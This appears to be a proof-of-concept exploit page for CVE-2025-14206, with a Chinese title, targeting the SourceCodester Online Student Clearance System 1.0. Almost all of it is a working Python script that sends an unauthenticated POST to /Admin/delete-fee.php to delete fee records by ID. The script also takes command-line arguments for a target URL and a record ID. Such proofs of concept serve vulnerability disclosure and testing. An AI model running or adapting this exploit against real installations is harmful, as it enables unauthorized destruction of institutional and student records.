CVE-2025-14206 | SourceCodester学生清算系统不当授权漏洞

import requests import sys # CVE-2025-14206 PoC - Improper Authorization in delete-fee.php # Target: SourceCodester Online Student Clearance System 1.0 def exploit(target_url, fee_id): """ Exploit improper authorization vulnerability in /Admin/delete-fee.php Args: target_url: Base URL of the vulnerable application fee_id: ID of the fee record to delete (unauthorized) Returns: bool: True if exploitation appears successful """ # Construct the malicious request delete_url = f"{target_url}/Admin/delete-fee.php" # The vulnerable parameter is 'ID' which is not properly validated payload = { 'ID': fee_id } try: # Send GET or POST request (depending on implementation) # Try POST first as it's more common for delete operations response = requests.post(delete_url, data=payload, timeout=10) # Check if the request was successful if response.status_code == 200: print(f"[+] Request sent to delete fee ID: {fee_id}") print(f"[+] Response status: {response.status_code}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_url> <fee_id>") print(f"Example: python {sys.argv[0]} http://localhost/student-clearance 5") sys.exit(1) target_url = sys.argv[1].rstrip('/') fee_id = sys.argv[2] print(f"[*] CVE-2025-14206 PoC") print(f"[*] Target: {target_url}") print(f"[*] Fee ID to delete: {fee_id}") exploit(target_url, fee_id) if __name__ == '__main__': main()